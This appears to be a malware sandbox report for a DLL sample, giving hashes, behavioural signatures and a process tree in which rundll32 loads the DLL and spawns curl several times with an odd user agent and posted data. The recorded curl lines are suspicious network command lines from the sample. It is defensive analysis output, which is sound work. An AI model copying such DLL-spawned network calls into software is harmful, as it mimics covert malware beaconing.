ba186a1a97d4f647dad39cb3ccae5466bb8d5463ceedf470428484416265ef5f | Triage

Analysis

max time kernel
141s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21/03/2023, 14:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

dump.dll
Size

178KB
MD5

529c65521e8a07c8810b6d225f7e2a89
SHA1

d03ee28dc71232ba9895dd5f017ecfbd18a621ce
SHA256

ba186a1a97d4f647dad39cb3ccae5466bb8d5463ceedf470428484416265ef5f
SHA512

15185e2b075c6dddc73441081405cfbd4c009ef229d037c5cf06792d5d1d8d802546aba0ce81345ed349d3b8a86393b1488420f364661de62b536aa56e68c74c
SSDEEP

3072:7Qb8KGhaCX8bYS3oAlob7UgS0VRilFxfiHNSXMJiB5CnPBRalGsQjxncIpoa1cT9:fQp4lBZFoaZLU9o0GVmA+P

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
232	rundll32.exe
232	rundll32.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 208	232	rundll32.exe	84
PID 232 wrote to memory of 208	232	rundll32.exe	84
PID 232 wrote to memory of 2548	232	rundll32.exe	93
PID 232 wrote to memory of 2548	232	rundll32.exe	93
PID 232 wrote to memory of 852	232	rundll32.exe	96
PID 232 wrote to memory of 852	232	rundll32.exe	96
PID 232 wrote to memory of 3764	232	rundll32.exe	99
PID 232 wrote to memory of 3764	232	rundll32.exe	99
PID 232 wrote to memory of 1052	232	rundll32.exe	108
PID 232 wrote to memory of 1052	232	rundll32.exe	108

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\dump.dll,#1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\system32\curl.exe
  curl -A cur1-agent -L -s -d dl
  2⤵
  PID:208
- C:\Windows\system32\curl.exe
  curl -A cur1-agent -L -s -d dl
  2⤵
  PID:2548
- C:\Windows\system32\curl.exe
  curl -A cur1-agent -L -s -d dl
  2⤵
  PID:852
- C:\Windows\system32\curl.exe
  curl -A cur1-agent -L -s -d dl
  2⤵
  PID:3764
- C:\Windows\system32\curl.exe
  curl -A cur1-agent -L -s -d dl
  2⤵
  PID:1052

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads